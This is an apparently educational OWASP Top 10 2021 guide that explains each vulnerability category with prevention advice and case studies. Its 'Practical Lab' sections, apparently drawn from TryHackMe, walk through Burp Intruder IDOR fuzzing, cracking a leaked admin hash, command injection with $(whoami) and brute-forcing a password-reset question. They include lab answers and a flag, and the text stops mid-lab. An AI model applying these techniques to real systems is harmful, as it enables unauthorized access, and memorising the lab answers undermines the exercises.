OWASP TOP 10 –

WEB SECURITY
 Table of Contents
1 Introduction to OWASP and Web Application Security...........................1
1.1 What is OWASP?.............................................................................1
1.2 What is the OWASP Top 10?............................................................2
1.3 Why Web Application Security Matters...........................................2
1.4 How OWASP Top 10 is Created and Updated..................................2
2 Overview of OWASP Top 10 (2021 Edition)............................................4
2.1 What’s New in OWASP Top 10 2021?..............................................4
2.2 OWASP Top 10 - Quick Summary....................................................5
3 Detailed Breakdown of OWASP Top 10 Vulnerabilities...........................7
3.1 A01:2021 – Broken Access Control.................................................7
3.1.1 What is Broken Access Control?...............................................7
3.1.2 Common Vulnerabilities............................................................7
3.1.3 Exploitation Techniques............................................................7
3.1.4 Prevention Strategies...............................................................8
3.1.5 Case Studies.............................................................................8
3.1.6 Practical Lab.............................................................................8
3.2 A02:2021 – Cryptographic Failures...............................................11
3.2.1 Understanding Cryptography in Web Security........................11
3.2.2 Common Cryptographic Failures.............................................11
3.2.3 How Attackers Exploit Cryptographic Weaknesses.................12
3.2.4 Best Practices for Secure Cryptography.................................12
3.2.5 Case Studies...........................................................................12
3.2.6 Practical Lab...........................................................................13
3.3 A03:2021 – Injection Attacks........................................................15
3.3.1 What is an Injection Attack?...................................................15
3.3.2 Types of Injection Attacks.......................................................15
3.3.3 How Injection Attacks Work....................................................16
3.3.4 Injection Prevention Techniques.............................................16
3.3.5 Case Studies...........................................................................16
3.3.6 Practical Lab...........................................................................17
3.4 A04:2021 – Insecure Design.........................................................18
 3.4.1 What is Insecure Design?.......................................................18
3.4.2 Difference Between Design Flaws and Implementation Issues
18
3.4.3 Common Insecure Design Mistakes........................................19
3.4.4 Secure Design Principles........................................................19
3.4.5 Case Studies...........................................................................19
3.4.6 Practical Lab...........................................................................20
3.5 A05:2021 – Security Misconfiguration..........................................21
3.5.1 Understanding Security Misconfigurations.............................21
3.5.2 Common Misconfigurations....................................................21
3.5.3 How Attackers Exploit Security Misconfigurations..................21
3.5.4 Best Practices to Prevent Misconfigurations...........................22
3.5.5 Case Studies...........................................................................22
3.5.6 Practical Lab...........................................................................23
3.6 A06:2021 – Vulnerable and Outdated Components......................23
3.6.1 Why Third-Party Components Pose Security Risks.................23
3.6.2 Identifying Vulnerable Components........................................23
3.6.3 How Attackers Exploit Outdated Components........................24
3.6.4 Managing Dependencies Securely..........................................24
3.6.5 Case Studies...........................................................................24
3.6.6 Practical Lab...........................................................................25
3.7 A07:2021 – Identification and Authentication Failures..................26
3.7.1 Common Authentication and Identity Issues..........................26
3.7.2 Types of Authentication Failures.............................................26
3.7.3 Strengthening Authentication Security...................................26
3.7.4 Case Studies...........................................................................27
3.7.5 Practical Lab...........................................................................27
3.8 A08:2021 – Software and Data Integrity Failures..........................28
3.8.1 Understanding Software and Data Integrity Risks..................28
3.8.2 Common Vulnerabilities in Data Integrity...............................28
3.8.3 Best Practices for Ensuring Data Integrity..............................28
3.8.4 Case Studies...........................................................................29
3.8.5 Practical Lab...........................................................................29
 3.9 A09:2021 – Security Logging and Monitoring Failures..................33
3.9.1 Importance of Security Logging..............................................33
3.9.2 Common Logging Mistakes.....................................................33
3.9.3 How Attackers Exploit Poor Logging Practices........................33
3.9.4 Best Practices for Security Logging and Monitoring...............34
3.9.5 Case Studies...........................................................................34
3.9.6 Practical Lab...........................................................................35
3.10 A10:2021 – Server-Side Request Forgery (SSRF)..........................35
3.10.1 What is SSRF?.........................................................................35
3.10.2 How SSRF Attacks Work..........................................................36
3.10.3 Common Exploitation Scenarios.............................................36
3.10.4 Mitigation Strategies..............................................................36
3.10.5 Case Studies...........................................................................37
3.10.6 Practical Lab...........................................................................37
4 How to Secure Applications Against OWASP Top 10............................39
4.1 Secure Coding Practices...............................................................39
4.2 Security Testing Techniques..........................................................39
4.3 Secure Software Development Lifecycle (SDLC)...........................40
4.4 DevSecOps and Continuous Security............................................40
5 OWASP Tools and Resources...............................................................42
5.1 OWASP ZAP (Zed Attack Proxy)....................................................42
5.2 OWASP Dependency-Check..........................................................42
5.3 OWASP Cheat Sheets and Security Guidelines.............................42
5.4 Other Open-Source Security Tools................................................43
6 Real-World Case Studies of OWASP Top 10 Breaches..........................44
6.1 High-Profile Security Breaches......................................................44
6.2 Lessons Learned from Real-World Attacks....................................47
7 Future of Web Application Security.....................................................48
7.1 Emerging Threats and Trends.......................................................48
7.2 AI and Machine Learning in Cybersecurity....................................48
7.3 Predictions for OWASP Top 10 2024/2025.....................................48
8 Conclusion and Final Recommendations.............................................50
8.1 Key Takeaways..............................................................................50
8.2 Actionable Security Measures for Developers and Organizations.50
8.3 Further Learning Resources..........................................................50
1 Introduction to OWASP and Web Application Security
1.1 What is OWASP?
The Open Web Application Security Project (OWASP) is an international recognized non-
profit entity dedicated to enhancing software security. It offers open-source tools,
guidelines, and educational material to assist developers, security professionals, and
organizations in developing secure applications.

 History and Mission of OWASP

The Open Worldwide Application Security Project (OWASP) was established on
September 9, 2001, by Dennis Groves and Mark Curphey. It is an international online
community working towards enhancing the security of web applications. The mission
of OWASP is to make available free and open resources such as recommendations,
methodologies, and tools that assist individuals, administrators, and organizations in
evaluating and improving the security of their web applications. In 2004, the OWASP
Foundation was incorporated as a 501(c)(3) charity in the United States to facilitate
and oversee OWASP's projects and infrastructure. The foundation extended its
nonprofit status to Europe in June 2011
 Importance of OWASP in Cybersecurity
The Open Web Application Security Project (OWASP) is vital to cybersecurity
through the availability of open-source tools, frameworks, and best practices for
improving web application security. OWASP Top 10 is a list that assists developers,
security experts, and organizations in identifying and resolving common security
vulnerabilities, including injection attacks, broken authentication, and
misconfigurations. It encourages secure coding, security awareness, and adherence
to industry standards such as PCI DSS and ISO 27001. OWASP also creates free
security tools such as OWASP ZAP for vulnerability scanning. Through the
development of a global security community, OWASP enables organizations to
create robust, secure applications and safeguard users against cyber attacks.
 OWASP’s Open-Source Projects
The Open Web Application Security Project (OWASP) hosts a number of open-
source projects to help improve web application security. Some of the well-
known projects include:
 OWASP Zed Attack Proxy (ZAP): An interactive dynamic application
security testing tool that operates as an intercepting proxy, enabling users
to tamper with and inspect HTTP/HTTPS traffic for vulnerabilities.
 OWASP ModSecurity Core Rule Set (CRS): A collection of
generic rules for detecting attacks for use with ModSecurity or equivalent web
application firewalls, which offer protection against typical web application
attacks.
 OWASP WebGoat: A purposefully insecure web
application intended for teaching, educating users on typical vulnerabilities
and secure coding techniques.
 OWASP Dependency-Check: Software that lists project dependencies
and determines whether there are public, known vulnerabilities.

1
 These projects, among others, are open-source and used extensively by developers
and security experts to detect, analyze, and address security vulnerabilities in web
applications.

1.2 What is the OWASP Top 10?

The OWASP Top 10 is a globally recognized list of the most critical security risks in web
applications. It is updated periodically based on real-world data and research from
security experts.

 Purpose and Scope of OWASP Top 10

 Aids developers and organizations to detect and avoid common
vulnerabilities.
 Offers a foundation for secure development and adherence to industry
standards such as PCI DSS, ISO 27001, and NIST.
 Educates security teams on new threats and attack patterns.
 How OWASP Top 10 Helps Developers and Organizations
OWASP collects data from security assessments, penetration tests, bug bounty
programs, and security researchers worldwide. The vulnerabilities are ranked based
on:
 Prevalence – How frequently the vulnerability occurs in actual applications.
 Exploitability – The degree to which attackers can easily exploit.
 Detectability – How simple it is to find.
 Impact – The potential damage if exploited.

1.3 Why Web Application Security Matters

Web applications are a primary attack surface for cybercriminals due to the increasing
shift towards cloud-based and API-driven applications.

 Statistics on Web Application Attacks

 43% of data breaches are due to web application vulnerabilities (Verizon Data
Breach Report).
 More than 70% of
web applications have security vulnerabilities, and 36% of them have critical
vulnerabilities (Synopsys Open Source Security Report).
 SQL Injection and Cross-Site Scripting (XSS) are still two of the
most widely used attack vectors.
 Impact of Security Vulnerabilities on Businesses
a. Financial Loss – breaches cost organizations tens of millions of
dollars in legal bills and lost business.
b. Reputation Damage – Customers lose trust when their data is exposed.
c. Regulatory Fines – Violation of regulations entails severe fines (GDPR,
CCPA, PCI DSS).
d. Business Disruption – Applications can be taken offline by Ransomware and
DDoS attacks.

1.4 How OWASP Top 10 is Created and Updated

The OWASP Top 10 list is updated approximately every 3-4 years based on global
security data and real-world attack trends.

2
 OWASP’s Risk Rating Methodology
Each vulnerability is assessed based on:
 Prevalence – How often the vulnerability is found in real-world applications.
 Exploitability – The complexity of launching an attack.
 Impact – The potential consequences of a successful exploit.
 Changes from Previous Versions (2021 vs. 2017 vs. Older Versions)
 A04: Insecure Design
 A08: Software and Data Integrity Failures
 A10: Server-Side Request Forgery (SSRF)
 Injection dropped to A03 (was A01 in 2017).
 Broken Access Control moved up to A01 (previously A05).

3
2 Overview of OWASP Top 10 (2021 Edition)
2.1 What’s New in OWASP Top 10 2021?
 Key Changes from the 2017 Version
1. Reordering Based on Data and Community Feedback
 Broken Access Control was moved up from #5 (2017) to #1
(2021) because of its growing impact and prevalence.
 Injection fell from #1 (2017) to #3 (2021) as awareness and
mitigations grew.
 Security Logging and Monitoring Failures was moved from #10 (2017) to
#9 (2021) to highlight its importance in attack detection and response.
2. Newly Introduced Vulnerabilities
 Insecure Design (A04:2021)
 Software and Data Integrity Failures (A08:2021)
 Server-Side Request Forgery (SSRF) (A10:2021)
3. Renamed or Merged Categories
 Sensitive Data Exposure was renamed Cryptographic Failures (A02:2021)
to focus more on encryption-related flaws.
 Broken Authentication was renamed Identification and Authentication
Failures (A07:2021) to include more authentication vulnerabilities.
 Using Components with Known Vulnerabilities was renamed Vulnerable
and Outdated Components (A06:2021) to focus more on outdated
dependencies.
 Inadequate Logging & Monitoring was retitled to Security Logging and
Monitoring Failures (A09:2021) for better clarity.
4. More Data-Driven Approach
 The 2021 version utilized real-world data from more than 500,000
applications, making it a better representation of contemporary attack
trends.
 Newly Introduced Vulnerabilities
1. Insecure Design (A04:2021)
 New category that highlights security vulnerabilities due to unwise design
choices.
 Promotes threat modeling, secure development lifecycle, and
security inspections during the early stages of SDLC.
 Example: A web app that offers unlimited attempts to log in without
lockout or CAPTCHA.
2. Software and Data Integrity Failures (A08:2021)
 Covers integrity failures in software updates, CI/CD pipelines, and data
processing.
 Encompasses threats from supply chain attacks, insecure dependencies,
and untrusted deserialization.
 Example: Malicious updates injected into a software
package because of insecure update mechanisms (e.g., SolarWinds
attack).
3. Server-Side Request Forgery (SSRF) (A10:2021)

4
  Formerly part of Injection but separated as a distinct category because of
widespread exploitation.
 Attackers deceive the server into issuing unauthorized requests to internal
resources.
 Example: Using a vulnerable cloud-based application to access metadata
services.

2.2 OWASP Top 10 - Quick Summary

OWASP Top 10 is a developers' and web application security awareness standard
document, constituting a general agreement on the most significant security threats to
web applications. The 2021 edition lists the following top threats:

1. Broken Access Control

 Description: When users are able to perform actions outside their
designated privileges, resulting in unauthorized access to information
or modifications.
2. Cryptographic Failures
 Description: Formerly "Sensitive Data Exposure," this category
focuses on cryptography-related failures that tend to result in sensitive
data exposure or system compromise.
3. Injection
 Description: Refers to sending untrusted data to an interpreter,
resulting in unintended commands or data exposure. Typical
examples are SQL, NoSQL, and OS command injections.
4. Insecure Design
 Description: Focuses on design-related risks, stressing the
importance of secure design patterns and principles from the
beginning.
5. Security Misconfiguration
 Description: Refers to incorrect deployment of security controls,
including default settings, incomplete settings, or exposed cloud
storage.
6. Vulnerable and Outdated Components
 Description: Emphasizes threats from the use of components with
known vulnerabilities that can be easily targeted by attackers.
 Identification and Authentication Failures
7. Identification and Authentication Failures
 Description: Formerly "Broken Authentication," this category
addresses failures in authentication mechanisms, resulting in
unauthorized access.
8. Software and Data Integrity Failures
 Description: Deals with code and infrastructure that do not have
integrity checks, resulting in potential unauthorized access or system
compromise.
9. Security Logging and Monitoring Failures
 Description: Deals with poor logging and monitoring, which makes
detection of security violations and incident response difficult.
10. Server-Side Request Forgery (SSRF)

5
  Description: When a server retrieves a remote resource without
verifying the user-provided URL, which could result in unauthorized
internal system access.

Identifying and mitigating these risks are important for improving web application security
and defending against possible threats.

6
3 Detailed Breakdown of OWASP Top 10 Vulnerabilities
3.1 A01:2021 – Broken Access Control
3.1.1 What is Broken Access Control?
Broken access control is when an application does not adequately limit users from
doing things outside of their specified permissions. It enables attackers to evade
authorization checks and do things or access data that are supposed to be out of
bounds. Under the OWASP Top 10 (2021 Edition), it is identified as one of the most
serious threats because of its widespread occurrence and extreme effect.

3.1.2 Common Vulnerabilities

 Missing Authorization Controls
 If an application does not verify whether a user holds sufficient permissions
before running sensitive actions, unauthorized access becomes feasible. As
an example, users can become capable of doing administrative activities
simply by invoking the respective endpoint.
 Insecure Direct Object References (IDOR)
 IDOR vulnerabilities take place when an application publishes a reference
(such as a file name, database key, or user ID) and fails to check the user's
entitlement to view the demanded object. Malicious users can exploit these
references in the request (e.g., by modifying a URL parameter) to view others'
data.
 Forced Browsing and Privilege Escalation
 Forced Browsing vulnerability is where attackers methodically navigate an
application's layout to discover concealed or unguarded pages and
resources. Even if such pages are not referenced in the navigation, unless
there are appropriate access checks in place, they can be taken advantage of
to reveal sensitive information.
 Abusing poor access control also causes privilege escalation. This is when a
user, normally of low privilege, exploits the application to obtain greater-level
privileges—possibly granting access to administrative features or confidential
information.

3.1.3 Exploitation Techniques

Attackers leverage a number of methods to take advantage of broken access control
vulnerabilities:

 URL and Parameter Manipulation: URL path or query parameter

manipulation to view pages that they shouldn't (e.g., manipulating a user ID in
a URL to view someone else's information).
 Request Interception: Intercepting and altering HTTP requests using tools
such as proxies (e.g., Burp Suite) to bypass access checks.
 Automated Scanning: Using automated tools to scan the application and
discover endpoints that have inadequate authorization controls.
 Session Token Manipulation: If authentication techniques or session tokens
are not sound, the enemy can steal sessions to attain heightened access.

7
3.1.4 Prevention Strategies
To reduce broken access control threats, organizations must employ the following:

 Enforce Server-Side Authorization: All sensitive actions must be secured

with tight server-side verifications. Never depend on client-side controls since
they can be circumvented.
 Adopt the Principle of Least Privilege: Make sure users have access only
to the functions and data they need for their role. This reduces the possible
harm if an account is stolen.
 Implement Secure Frameworks: Implement security libraries and
frameworks with intrinsic access control measures. This limits the occurrence
of human errors and makes it difficult to misconfigure.
 Perform Frequent Audits and Testing: Have access control measures
regularly audited and tested through penetration tests, automated
vulnerability scans, and code reviews. This aids in finding and filling in the
loopholes prior to being targeted by the attackers.
 Logging and Monitoring: Keep careful records of user activities and access
attempts. Ongoing monitoring may assist in identifying unusual activity and
possible intrusions early.

3.1.5 Case Studies

 IDOR in a Retail Context: In a highly publicized incident, an e-commerce
website's API had an IDOR vulnerability that enabled attackers to view other
customers' order information by merely changing the order ID in the request.
The attack not only compromised personal information but also eroded
customer confidence.
 Forced Browsing in Enterprise Applications: Another example was an
enterprise application where administrative pages that were not supposed to
be visible were reachable through forced browsing. Lack of adequate access
checks enabled attackers to carry out unauthorized administrative operations,
resulting in a large data leak.

3.1.6 Practical Lab

An example of Broken Access Control is IDOR or Insecure Direct Object
Reference. This occurs due to lack of proper access controls implemented by a
developer that allows an attacker to bypass traditional authorization mechanisms.

For instance the id parameter in this example URL https://bank.thm/account?id=2222

is an example of an IDOR because it exposes a direct object reference and if a user
can fuzz the endpoint and access a resource belonging to ?id=2221 which they we’re
permitted to access, then boom you’ve found an IDOR.

8
To access the web app we’re performing a penetration test on ;-), connect to the
machine via AttackBox or via OpenVPN in your preferred environment. Navigate to
the URL in the browser and log in with the credentials, username: noot &
password: test1234.

You can manually fuzz the endpoint by manipulating the id parameter directly in the
browser or you can automate this with Burp Suite. Come on over to the Burp Side
and I’ll show you how.

Turn on Intercepter and reload the page, http://IP_ADDRESS/note.php?note_id=1. In

Burp Suite, right click on the request and send to the Intruder. In the Intruder tab,
highlight the id parameter value and select Add on the right.

9
 Next, select the payloads tab. Set the payload type to numbers and in the payload
settings section, generate a. If we were testing for a wider range of endpoints, we
would import a wordlist but, in this case, let’s keep it simple:

 Type: Sequential
 From: -3
 To: 3
 Step: 1

Now start the attack.

As you can see, Burp Suite’s intruder tool created several GET requests to our URL,
fuzzing the id parameter. What we’re trying to look for is an IDOR so select any
request, click on the respective response tab and select Render so we can see the
visual result of the request. Keep clicking through until we get a hit! In the screenshot
below, we see a note page we weren’t supposed to access.

3.2 A02:2021 – Cryptographic Failures

3.2.1 Understanding Cryptography in Web Security
Cryptography is the foundation of safe communication on the internet. Cryptography
entails employing algorithms to safeguard data confidentiality, integrity, and
authenticity when it is stored and transmitted. If cryptography is implemented
properly, unauthorized access and data tampering are prevented. However, errors in
cryptographic practice can make these safeguards useless, and sensitive information
becomes vulnerable, weakening system security.

3.2.2 Common Cryptographic Failures

 Weak or Deprecated Encryption Algorithms
Numerous applications continue to use older algorithms (e.g., MD5, SHA-1, DES)
with known weaknesses. These algorithms are easily broken with current

10
 computational power and are therefore not appropriate for securing sensitive
information.
 Poor Key Management and Hardcoded Keys
Although a robust algorithm may be in place, security can still be compromised
by inadequate key management. Hardcoded keys inserted into source code,
insecure key storage, or not changing keys regularly can all result in compromise
of the key. Attackers can decrypt otherwise encrypted data once they have
possession of the key.
 Improper TLS Implementation
Transport Layer Security (TLS) is critical for encrypting data in transit. Yet,
misconfigurations, including the support of old TLS versions, insecure cipher
suites, or failure to validate certificates, enable attackers to perform man-in-the-
middle attacks. These misconfigurations downgrade secure connections and
leave otherwise encrypted data vulnerable.

3.2.3 How Attackers Exploit Cryptographic Weaknesses

Attackers exploit failures in cryptography in several ways:

 Dictionary and Brute-Force Attacks: Predictable keys or insecure

algorithms can be broken by brute-force or dictionary attacks, recovering
plaintext information.
 Downgrade Attacks: Insecure implementation of TLS can enable attackers
to compel a connection to utilize a less secure encryption protocol or cipher
suite, which makes data more susceptible to interception and decryption.
 Key Extraction: Poorly controlled or hardcoded keys can be pulled out of
source code or configuration files without the encryption even being used.
 Deprecation of Algorithms: Attackers tend to aim at older systems that still
apply deprecated encryption, taking advantage of known vulnerabilities of
these algorithms to attain unauthorized access.

3.2.4 Best Practices for Secure Cryptography

In order to prevent against cryptographic breakage, the following best practices need
to be followed by organizations:

 Implement Strong, Up-to-date Algorithms: Apply secure encryption

methods like AES-256 for symmetric and RSA or ECC for asymmetric. Avoid
legacy algorithms and keep cryptographic libraries updated.
 Utilize Strong Key Management: Store keys securely in hardware security
modules (HSMs) or key management services. Don't hard-code keys into
application code and require periodic key rotation to minimize exposure if a
key is lost.
 Proper TLS Configuration: Use the most current protocols (e.g., TLS
1.2/1.3) and secure cipher suites in TLS. Audit server configurations and
certificates on a regular basis and disable weak protocols and old ciphers.
 Periodic Security Audits and Penetration Testing: Regularly check and
test implementations and configurations of cryptography. This catches
misconfigurations, outdated algorithms, or key management problems before
they are exploitable by attackers.

11
3.2.5 Case Studies
 Insecure TLS Configuration: A financial services firm once had an insecure
TLS implementation with support for old protocols and weak ciphers.
Attackers carried out a downgrade attack by intercepting sensitive client
information. An ensuing audit prompted a total redesign of their TLS
configuration to strengthen data security.
 Hardcoded Keys in a Mobile App: In one example, a popular mobile
application had hardcoded encryption keys in its source code. Hackers
reverse-engineered the app, pulled the keys out, and decrypted the sensitive
user data. This attack underscored the need for safe key management and
led the company to implement external key storage techniques and periodic
key rotations.

3.2.6 Practical Lab

Navigate to http://IP_ADDRESS:81. The developer left a critical file of the web app
exposed to the internet! Let’s perform some basic reconnaissance and navigate to
different directories.

If we right click and view page source code, we see there is a directory called
/assets. Navigate to http://IP_ADDRESS:81/assets . Look at what we find…

12
Click on the webapp.db file to download the SQLite file directly to /Downloads (or
wherever it’s stored). Now let’s start interacting with the database and retrieve (and
ultimately crack) the hash of our target — admin.

13
 Let’s Crack The Hash — The quickest way to crack the hash is to go to
crackstation.net and paste the hash in

Now navigate to http://IP_ADDRESS:81/login.php and login as admin with the

cracked password to retrieve the flag.

3.3 A03:2021 – Injection Attacks

3.3.1 What is an Injection Attack?
An injection attack is when an attacker provides untrusted input to an interpreter
(e.g., SQL, NoSQL, OS shell) as part of a command or query. Since the input is not

14
sanitized, the interpreter runs it as part of the intended command, which typically
results in unauthorized data access, data modification, or even full system
compromise. Injection attacks take advantage of weaknesses in how applications
process user input.

3.3.2 Types of Injection Attacks

 SQL Injection
 In SQL injection, harmful input is injected into SQL queries. If an application
does not sanitize inputs, a hacker may change a query to fetch, modify, or
erase data from the database. For instance, injecting an SQL snippet in a
login form can allow bypassing of authentication.
 NoSQL Injection
 Like SQL injection but against NoSQL databases such as MongoDB. The
attacker manipulates query objects or filters, which can result in unauthorized
access or data leakage in NoSQL data store-based applications.
 Command Injection
 In this, attackers inject malicious commands into a system command run by
the application. If the application constructs commands dynamically without
validation, it can result in allowing attackers to execute arbitrary OS
commands, which can result in full server compromise.
 LDAP Injection
 LDAP injection is the manipulation of LDAP statements. The attacker can
modify an LDAP query to skip authentication or retrieve unauthorized data
from directory services.
 Cross-Site Scripting (XSS)
 While occasionally included as a distinct category, XSS is actually an injection
where bad scripts are injected into web pages accessed by other users. Upon
being run by the browser, they can hijack session tokens or alter page
content.

3.3.3 How Injection Attacks Work

Injection attacks take advantage of the application's inability to correctly validate and
sanitize user input. When untrusted data is injected directly into an interpreter or
query, the interpreter confuses it with valid code or commands. For example, a login
form that builds SQL queries by string concatenation makes it possible for an
attacker to add SQL code that changes the query's logic. This allows attackers to
avoid authentication, obtain sensitive information, or delete entries. Such
mechanisms hold good for NoSQL, command, and LDAP injections as well, wherein
the issue primarily revolves around not handling the inputs appropriately.

3.3.4 Injection Prevention Techniques

To help safeguard applications against injection attacks, organizations need to use a
few best practices:

 Parameterized Queries and Prepared Statements: Use parameterized

queries or prepared statements to prevent concatenating strings so that user
input is handled literally as data and not executable code.

15
  Input Validation and Sanitization: Check inputs against a whitelist of
permitted characters and formats. Sanitize inputs by escaping or stripping out
possible malicious characters before processing.
 Use of ORM Frameworks: Object-Relational Mapping libraries typically have
built-in features that can help reduce the risk of injection.
 Least Privilege Principle: Set database and system accounts to have only
the bare minimum rights required. Even if there is an injection, this restricts
the damage that can be done.
 Regular Code Audits and Penetration Testing: Periodically test and inspect
code for injection flaws, both through automated scanning and manual code
inspections.
 Error Handling: Employ secure error handling to prevent revealing sensitive
error messages that would assist an attacker in crafting a successful injection
attack.

3.3.5 Case Studies

 SQL Injection within a Retail Application
One of the most famous examples was a website of an online retailer where
the attackers used an SQL injection flaw in the search function. The attackers
manipulated query parameters to add extra SQL commands that evaded
standard access controls. This enabled them to retrieve sensitive customer
data, including payment information and personal details. Not only did the
breach cause enormous financial loss but also irreparably harmed the
reputation of the company. In return, the company revamped its processes for
input validation, used parameterized queries, and enhanced monitoring to
avoid further occurrences.

3.3.6 Practical Lab

Command injections are when a user passes operating system commands such
as whoami or ls -la that is executed on the application server, allowing direct access
with the server that hosts the web application. The user input is passed to the
function in the code that handles interaction with the server’s terminal. Here are
some examples courtesy of TryHackMe:

In the PHP example below, the user input is immediately passed to the function as
valid and interpreted by the server as a command. This allows direct access with the
terminal of the server. We could hypothetically enumerate the user and view sensitive
data such as etc/passwords which is a known Linux file that holds a list of users that
exist on the server and we could use that information to perform a brute force
password attack.

The input is saved as $cow variable which gets passed as valid input and triggers the
passthru() function and interpreted by the server. So if we sent `Hello World' as input,
the function will interpret that aspassthru("perl /usr/bin/cowsay -f default Hello World.

16
Always test input you find on a web app for command injection vulnerabilities by
experimenting and entering system commands.

Navigate to http://IP_ADDRESS:82/ The format for running system commands in the

input is $(command) so to run whoami, submit $(whoami).

What strange text file is in the website’s root directory? drpepper.txt

How many non-root/non-service/non-daemon users are there? 0

What user is this app running as? apache

What is the user’s shell set as? /sbin/nologin

17
 What version of Alpine Linux is running? 3.16.0

3.4 A04:2021 – Insecure Design

3.4.1 What is Insecure Design?
Insecure design is the lack or inadequacy of security controls integrated into the
architecture and design of an application. Unlike from coding defects, insecure
design is based on the plan of a system that doesn't foresee or neutralize possible
threats. It indicates how security (or lack thereof) was incorporated into the early
planning and design phases of software design.

3.4.2 Difference Between Design Flaws and Implementation Issues

1. Design Flaws:
o Nature: Based on the conceptual design of a system.
o Impact: They occur when security is not considered at the beginning.
For instance, neglecting to include adequate access control or
ignoring possible threat vectors in the design.
o Example: An application that does not consider any users to be
untrustworthy since it does not have a strategy for validating user
roles and privileges.
2. Implementation Issues:
o Nature: Happen when security features are incorrectly coded or
misconfigured at the development stage.
o Impact: Regardless of a secure design, bad coding or
misconfiguration can introduce vulnerabilities.
o Example: A secure design may call for encryption for sensitive
information, but if developers use an insecure encryption algorithm, it
falls under implementation problems.

3.4.3 Common Insecure Design Mistakes

 Lack of Threat Modeling: Not making a systematic determination of, and
response to, potential threats in the design process.
 Absence of Security Controls: Not including necessary security
mechanisms (e.g., access control, data validation) in the system's
architecture.
 Poorly Defined Security Requirements: Having ad hoc security decisions
instead of formal, documented security requirements.
 Assuming a Trusted Environment: Designing systems that assume the
underlying infrastructure or users are secure by default, which can introduce
vulnerabilities if that assumption is broken.
 Overcomplicated Designs: Sophisticated designs have the unintended
consequence of creating security loopholes, since complex interactions
between elements make it more difficult to implement standard security policy.

3.4.4 Secure Design Principles

To prevent insecure design threats, organizations must incorporate the following
secure design principles in their software development lifecycle:

18
  Principle of Least Privilege: Have users and components run with the least
privileges required.
 Fail-Safe Defaults: Default settings should be to deny until specifically
allowed.
 Separation of Duties: Split key functions among two or more components or
roles so that no single point of failure or abuse occurs.
 Economy of Mechanism: Make designs as straightforward as possible to
limit opportunities for error.
 Defense in Depth: Employ several layers of security so that a failure in one
layer will not compromise the whole system.
 Complete Mediation: Each access request must be checked against security
policies, not only the first time the request is initiated.
 Regular Threat Modeling: Regularly review and revise threat models to
accommodate new threats and modifications in the system architecture.

3.4.5 Case Studies

 Financial Applications Short on Sound Access Control: Certain financial
systems were compromised since their design did not sufficiently consider
unauthorized access. By not adhering to tight access controls, attackers took
advantage of design vulnerabilities to gain access to sensitive account
information. This example highlights the importance of secure-by-design
principles, particularly for applications that process high-dollar transactions.
 IoT Device Security Flaws: Some IoT devices have been discovered
vulnerable because of insecure design. Many IoT devices, for example, rely
on a trusted network and do not implement proper authentication or
encryption, thus being susceptible to remote attacks. These vulnerabilities
have resulted in botnet creations and unauthorized device control, which have
necessitated reconsideration of security design in the IoT industry.

3.4.6 Practical Lab

An of insecure design is a bad security question when trying to do implement a
password reset feature in your application. Security questions to gain access to a
user account are typically meant to be hard for a person who is not the user in
question to figure out. So if it’s something as simple as “What’s your favorite color?”,
that can be easily guessed.

19
Navigate to http://IP_ADDRESS:85 and select the “I forgot my password” link on the
login form. Type in “Joseph” and then on the next screen, select “What’s your favorite
color?” as the security question. Type in any color you want. Turn on your Burp Proxy
and intercept the request to capture and modify it. We’ll perform a brute force attack.
Send the request to Intruder and highlight the color as the payload position.

Create a list of colors to execute an attack with and let’s go!

Solution: ‘Green’.

Now login with the user Joseph and the password it was reset to and you’ll capture
the flag.

Flag- THM{Not_3ven_c4tz_c0uld_sav3_U!}

20
3.5 A05:2021 – Security Misconfiguration
3.5.1 Understanding Security Misconfigurations
Security misconfiguration describes misconfigurations in an application or its
infrastructure, resulting in unsafe settings. It is among the most prevalent
vulnerabilities since even a minor misconfiguration can open up an entire system.
The misconfigurations may be done at any level, such as network services, web
servers, application servers, databases, or even cloud computing.

3.5.2 Common Misconfigurations

 Default Credentials
Default usernames and passwords come with most systems, and these can be
easily guessed by an attacker. If they're not altered, this provides an attacker with
instant access.
 Unnecessary Features Enabled
Software is usually installed with additional features or services enabled by
default (like administrative interfaces or debug modes). These features could be
left unprotected or unnecessary in production, making the attack surface larger.
 Improper Permissions and Exposure of Sensitive Data
Inadequately configured file and directory permissions or misconfigured APIs can
make sensitive information (e.g., configuration files, user data, or credentials)
accessible. This can include publicly exposed cloud storage buckets or error
messages that disclose system information.

3.5.3 How Attackers Exploit Security Misconfigurations

Misconfigurations are commonly attacked using automated tools that run scans for
potential problems:

21
  Scanning and Enumeration: Attackers look for public administrative
interfaces, open ports, and default login credentials. Scans from automation
easily spot insecurely configured systems.
 Brute-Force Attacks: In case of default logins or simple passwords, the
attackers can apply brute-force attempts to break through.
 Exploiting Unnecessary Features: If test or debugging pages are not
disabled in production, attackers have access to these and can obtain
information regarding the system architecture and the underlying
weaknesses.
 Access to Exposed Data: Misconfigured cloud storage or incorrect
permissions provide access to attackers for downloading sensitive data,
which results in data breaches or non-compliance.

3.5.4 Best Practices to Prevent Misconfigurations

 Harden Configurations: Remove or disable all features and services that
are not required. Make sure all default credentials are updated prior to
deploying an application to production.
 Adhere to Secure Configuration Principles: Apply security benchmarks
and best practice frameworks (like CIS Benchmarks or OWASP's Secure
Configuration Guide) for configuring servers, applications, and network
devices.
 Principle of Least Privilege: Restrict permissions on directories, files, and
user accounts to what is required. This reduces the damage if an attack is
successful on a misconfiguration.
 Regular Audits and Automated Scanning: Perform regular configuration
audits, utilize vulnerability scanning tools, and conduct penetration tests to
detect and correct misconfigurations.
 Patch Management: Keep all software and systems updated so that
exploitation of known vulnerabilities associated with misconfiguration is
avoided.
 Monitoring and Logging: Use strong logging and monitoring in order to pick
up on unexpected activity that may indicate a misconfiguration is being
targeted.

3.5.5 Case Studies

 Cloud Storage Misconfigurations
Multiple organizations have experienced breaches through misconfigured
cloud storage platforms (e.g., AWS S3 buckets). In these breaches, sensitive
information was exposed and left publicly available, resulting in serious data
loss and regulatory interest. These attacks demonstrate the necessity of
protecting cloud configurations and the ongoing monitoring of exposed
assets.
 Enterprise Application Breach
Another situation involved an enterprise application that was exposing an
administrative interface with default credentials. Threat actors used the
interface to manipulate system settings and extract sensitive business
information. Consequences involved operations disruption and an adverse
reputational effect.

22
 3.5.6 Practical Lab
Navigate to http://IP_ADDRESS/console and let’s try to exploit the security
misconfiguration to read the application’s source code.

We’re met with an exposed Werkzeug console, the debugging interface for Python
